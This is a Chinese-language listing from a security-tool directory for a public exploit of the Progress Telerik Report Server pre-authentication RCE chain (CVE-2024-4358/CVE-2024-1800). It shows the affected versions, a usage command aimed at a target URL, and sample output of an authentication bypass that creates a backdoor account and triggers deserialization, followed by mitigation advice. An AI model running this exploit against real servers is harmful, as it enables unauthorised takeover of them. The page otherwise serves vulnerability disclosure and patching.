Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-4358 — Progress Telerik Report Server 预认证 RCE 漏洞链（CVE-2024-4358/CVE-2024-1800） | Kitploit
工具/GitHubGitHub/sinsinology/cve-2024-4358
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证Payload 开发
GitHubsinsinology/cve-2024-4358

CVE-2024-4358

Progress Telerik Report Server 预认证 RCE 漏洞链（CVE-2024-4358/CVE-2024-1800）

查看仓库
791512年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-4358 / CVE-2024-1800

Telerik Report Server 反序列化和认证绕过漏洞链，针对 CVE-2024-4358/CVE-2024-1800

技术分析

关于该漏洞的根因分析可在我的博客中找到 poc

概述

支持的版本？

在漏洞发布时基本支持所有版本，为便于未来参考，以下列表中的每个主/次版本：

root@kitploit:~
2012
2017
2018
2019
2020
2021
2022
2023
2024

用法

root@kitploit:~
python CVE-2024-4358.py --target http://192.168.253.128:83 -c "whoami"

(^_^) Progress Telerik Report Server 预认证 RCE (CVE-2024-4358/CVE-2024-1800) || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) 随机后门用户名: oelycslyun
(*) 随机后门密码: cqgnacxljo
(*) 尝试绕过认证
(+) 认证绕过成功，后门账户已创建
(+) 将凭据保存到 credentials.txt
(+) 成功以 oelycslyun 身份认证，密码为 cqgnacxljo
(*) 获取到令牌: zfCch_LNv0PyKfe7eBDYKXV70IOotwNQ2p82aX-JHIMCisVnTW9PWWYUKljhcRw5alubNOg_gXoHT6-hJk4VO-jGZuzmisLIi5A
(*) 生成随机报告名称: qvwdycugmc
(*) 创建恶意报告，名称为 qvwdycugmc
(*) 反序列化漏洞利用完成

缓解措施

更新到最新版本，或按照 Progress 安全公告中的说明进行缓解

  • https://docs.telerik.com/report-server/knowledge-base/registration-auth-bypass-cve-2024-4358

在 Twitter 上关注我们，获取最新安全研究：

  • SinSinology
  • SummoningTeam

免责声明

本软件纯粹出于学术研究和开发有效防御技术的目的而创建，并非用于攻击系统，除非获得明确授权。项目维护者不对软件的滥用负责。请负责任地使用。

下载工具